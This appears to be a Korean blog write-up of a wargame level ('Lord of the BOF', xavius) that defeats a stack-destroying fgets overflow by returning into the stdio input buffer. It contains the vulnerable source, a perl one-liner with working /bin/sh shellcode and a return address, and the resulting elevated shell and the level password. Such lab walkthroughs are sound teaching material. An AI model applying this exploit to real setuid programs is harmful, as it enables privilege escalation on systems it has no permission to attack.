LEVEL19 (nightmare -> xavius) : fgets + destroyers 

이번 문제는 fgets함수와 스택 디스트로이어 있다. 소스를 보자

[nightmare@localhost nightmare]$ cat xavius.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include 
#include 
#include 

main()
{
        char buffer[40];
        char *ret_addr;

        // overflow!
        fgets(buffer, 256, stdin);
        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

        // check if the ret_addr is library function or not
        memcpy(&ret_addr, buffer+44, 4);
        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function
        {
                if(*ret_addr == '\xc9'){                // leave
                        if(*(ret_addr+1) == '\xc3'){    // ret
                                printf("You cannot use library function!\n");
                                exit(0);
                        }
                }
                ret_addr++;
        }

        // stack destroyer
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}

stack도 안되고 rtl, LD_ 등등의 방법이 통하지 않는다.
이때 fgets는 특별한 저장 영역인 0x40015000에 해당 문자열을 저장하게 된다.
하지만 \x00은 null로 인식하므로 \x01로 주소를 맞추고 쉘코드를 실행하면 될 것이다.

[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x01\x50\x01\x40"';cat)|./xavius

릱릱릱릱릱릱릱릱릱릱1픐h//shh/bin됥PS됣솻
                                         ?P@

id;my-pass
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
euid = 519
throw me away


Posted by john@memory :